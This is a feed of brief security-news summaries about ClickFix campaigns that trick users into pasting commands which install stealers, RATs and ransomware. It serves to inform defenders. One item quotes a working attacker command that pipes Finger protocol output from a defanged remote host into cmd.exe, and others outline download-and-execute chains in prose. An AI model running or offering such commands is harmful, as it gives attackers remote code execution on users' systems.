🛡️ Blackpoint researchers have uncovered a campaign that leverages ClickFix social engineering to trick users into running a benign-looking command via the Windows Run dialog. That single action launches a hidden conhost.exe process which fetches a small tar archive, unpacks it into AppData and runs a windowless Python interpreter. The bundled interpreter executes compiled Python bytecode that reconstructs and decrypts CastleLoader shellcode in memory, avoiding disk-based artifacts. Observed staging uses a GoogeBot user agent and familiar /service/download/ paths, linking the activity to the CastleLoader family.

🛡️Huntress warns of an evolved ClickFix campaign that uses a convincing full‑screen Windows Update splash and steganographic PNGs to trick employees into pasting and running commands. Those commands deliver loaders that in turn deploy LummaC2 and Rhadamanthys infostealers. The firm reports a 313% increase in ClickFix incidents over six months and noted multiple active lure domains even after the Nov 13 Operation Endgame takedown. Primary mitigation advice is to disable the Windows Run dialog via Registry or GPO and pair user awareness with endpoint monitoring and EDR.

🔒 Researchers warn of ClickFix attack variants that display a realistic full‑screen fake Windows Update animation in the browser to trick users into pasting commands that execute malware. Operators use steganography to hide AES‑encrypted shellcode inside PNG pixel data and leverage mshta, PowerShell, and a .NET Stego Loader to reconstruct and run payloads. Huntress observed delivery of LummaC2 and Rhadamanthys info stealers and a dynamic evasion ctrampoline technique to hinder analysis. A law enforcement takedown in November disrupted payload delivery on some fake update domains.

🔒 An employee clicking a fake CAPTCHA (a ClickFix social-engineering lure) on a compromised car dealership site began a 42-day intrusion by Howling Scorpius that delivered the .NET remote access Trojan SectopRAT and ultimately Akira ransomware. Two enterprise EDRs recorded activity but produced few alerts, enabling lateral movement, privilege escalation and the exfiltration of roughly 1 TB. Unit 42 deployed Cortex XSIAM, rebuilt hardened infrastructure, tightened IAM controls and negotiated about a 68% reduction in the ransom demand.

🔒 Researchers identified a ClickFix-based EVALUSION campaign deploying Amatera Stealer and NetSupport RAT, observed in November 2025. The campaign abuses the Windows Run dialog and mshta.exe to launch a PowerShell script that downloads a .NET DLL hosted on MediaFire; the Amatera DLL, packed with PureCrypter, is injected into MSBuild.exe to exfiltrate data. eSentire highlights Amatera's WoW64 SysCalls evasion and conditional NetSupport deployment when domain membership or valuable files are detected.

🛡️ Researchers warn the decades-old Finger protocol is being repurposed in ClickFix-style campaigns to fetch remote commands and execute them on Windows systems. Attackers social-engineer victims into running batch commands such as finger root@finger.nateams[.]com | cmd, piping remote output directly into cmd.exe. Observed chains create randomly named folders, copy and rename curl.exe, download a ZIP disguised as a PDF, extract a Python malware package and launch it via pythonw.exe. Blocking outbound TCP port 79 is the primary mitigation to prevent systems from connecting to remote Finger daemons.

🔍 Acronis TRU describes practical VirusTotal hunting techniques used to track the FileFix ClickFix variant, the long-running SideWinder actor, and the Shadow Vector SVG campaign targeting Colombian users. Using Livehunt, content-based YARA rules, VT Diff, and metadata pivoting, analysts located clipboard-based web payloads, document exploits (CVE‑2017‑0199/11882), and judicial-themed SVG decoys. The post emphasizes iterative rule tuning, retrohunt for timelines, and infrastructure pivots that convert fragmented indicators into actionable intelligence.

🔒 Sekoia warns of a large-scale phishing campaign targeting hotel staff that uses ClickFix-style pages to harvest credentials and deliver PureRAT. Attackers impersonate Booking.com in spear-phishing emails, redirect victims through a scripted chain to a fake reCAPTCHA page, and coerce them into running a PowerShell command that downloads a ZIP containing a DLL-side‑loaded backdoor. The modular RAT supports remote access, keylogging, webcam capture and data exfiltration and persists via a Run registry key.

🔒 A large-scale phishing operation targeted Booking.com partner accounts and hotel staff, using impersonated emails and compromised hotel accounts to lure victims into running malicious commands. Attackers relied on redirection chains and the ClickFix social engineering tactic to execute PowerShell that delivered PureRAT. The remote access trojan enabled credential theft, screenshots and exfiltration, with stolen access sold or used to perpetrate payment fraud against guests.

🔒 ClickFix campaigns have evolved to include embedded video tutorials, an automated OS detector, and a countdown timer to pressure victims into executing pasted commands. Researchers at Push Security observed fake Cloudflare CAPTCHA pages that auto-copy malicious commands to the clipboard and adapt instructions for Windows, macOS, or Linux. Attackers promote these pages via malvertising, SEO poisoning, and compromised sites, then deliver varying payloads such as MSHTA executables and PowerShell scripts. Users are strongly advised never to paste and run terminal commands from unknown web prompts.

🛡️ A one-day spearphishing campaign named PhantomCaptcha targeted Ukrainian regional government officials and multiple war-relief organizations on October 8, using malicious PDFs that linked to a fake Zoom domain and impersonated the President’s Office. According to SentinelLABS, the operation used a fake Cloudflare CAPTCHA to trick victims into copying and pasting a token into the Windows Command Prompt, which executed a PowerShell downloader and deployed a WebSocket RAT. The lightweight RAT provided remote command execution and data exfiltration capabilities, and researchers found follow-on activity delivering spyware-laced Android APKs to users in Lviv.

⚠️ Google Cloud’s Threat Intelligence Group attributes a new campaign to Russian state-linked ColdRiver actors who are using fake “I am not a robot” CAPTCHA pages to deliver espionage malware, including NOROBOT, YESROBOT, and MAYBEROBOT. The attackers use a ClickFix social-engineering chain and multi-stage, encrypted payloads with split cryptographic keys to evade detection and rebuild tooling rapidly after exposure. Organizations are urged to emphasize behavioral monitoring, EDR/NDR telemetry, and simulated interactive-phishing tests to detect these user-assisted intrusions.

🔐 The Russian state-backed Star Blizzard group (aka ColdRiver/UNC4057) has shifted to modular, evolving malware families — NOROBOT, YESROBOT, and MAYBEROBOT — delivered through deceptive ClickFix pages that coerce victims into executing a fake "I am not a robot" CAPTCHA. NOROBOT is a malicious DLL executed via rundll32 that establishes persistence through registry changes and scheduled tasks, stages components (including a Windows Python 3.8 install), and, after iteration, primarily delivers a PowerShell backdoor. Google Threat Intelligence Group and Zscaler observed the transition from May through September and reported that ColdRiver abandoned the previously exposed LostKeys tooling shortly after disclosure. GTIG has published IoCs and YARA rules to help defenders detect these campaigns.

🔐 ClickFix attacks trick users into copying and executing malicious code from a webpage—often presented as a CAPTCHA or a prompt to 'fix' an error—so the payload runs locally without a download. Researchers link the technique to Interlock and multiple public breaches and note delivery has shifted from email to SEO poisoning and malvertising. The articles says clipboard copying via JavaScript and heavy obfuscation let these pages evade scanners, and that traditional EDR and DLP often miss the attack. Push Security recommends browser-based copy-and-paste detection to block attacks before the endpoint is reached.

🔒 Cybercriminals are using TikTok videos disguised as free activation guides for software such as Windows, Adobe, Spotify, and Discord to distribute info‑stealing malware via a ClickFix technique. The videos instruct users to run a short PowerShell command that fetches a script from slmgr.win, which then downloads a variant of Aura Stealer and an additional payload from Cloudflare Pages. Victims should assume credentials are compromised, reset passwords, and avoid running copied commands in shells or terminal windows.

🛡️ Unit 42 describes the IUAM ClickFix Generator, a phishing kit that automates creation of ClickFix-style pages which coerce victims into pasting and executing attacker-supplied commands. The kit creates OS-aware, highly customizable pages with clipboard injection, obfuscation, and mobile blocking to deliver infostealers and RATs such as DeerStealer and Odyssey. Unit 42 observed real campaigns, shared developer artifacts, and recommends user education and technical controls to block domains, IPs, and malware indicators.

🔍 Zscaler details a new COLDRIVER ClickFix campaign that deploys two lightweight families: BAITSWITCH, a DLL downloader, and SIMPLEFIX, a PowerShell backdoor. Victims are lured to execute a malicious DLL via a fake CAPTCHA; BAITSWITCH fetches SIMPLEFIX while presenting a Google Drive decoy. The chain stores encrypted payloads in the Windows Registry, uses a PowerShell stager, and clears the Run dialog to erase traces. Zscaler notes the campaign targets NGOs, human-rights defenders, think tanks, and exiles connected to Russia.

⚠️ LastPass warns of a macOS campaign that uses fraudulent GitHub repositories to impersonate popular apps and trick users into running Terminal commands. The fake installers deliver the Atomic (AMOS) info‑stealer via a ClickFix workflow: a curl command decodes a base64 URL and downloads an install.sh payload to /tmp. Attackers rely on SEO and many disposable accounts to evade takedowns and boost search rankings. Users should only install macOS software from official vendor sites and avoid pasting unknown commands into Terminal.

🛡️ GitLab Threat Intelligence observed DPRK-linked operators using ClickFix-style hiring lures to deliver the JavaScript stealer BeaverTail and its Python backdoor InvisibleFerret. The late-May 2025 wave targeted marketing and cryptocurrency trader roles via a fake Vercel-hosted hiring site that tricks victims into running OS-specific commands. Attackers deployed compiled BeaverTail binaries (pkg/PyInstaller) and used a password-protected archive to stage Python dependencies, suggesting tactical refinement and expanded targeting.

🔍 Huntress analysts observed an uptick in attacks that combine classic ClickFix social engineering with more advanced deployment techniques over the past fifteen business days. A fake AnyDesk installer used a Cloudflare Turnstile lure that opened Windows File Explorer via the search-ms protocol to deliver an LNK payload disguised as a PDF and install an MSI that dropped MetaStealer. Separately, operators deployed Cephalus ransomware using DLL sideloading through the legitimate SentinelOne host binary, illustrating evolving tradecraft that mixes manual user interaction and technical evasion.
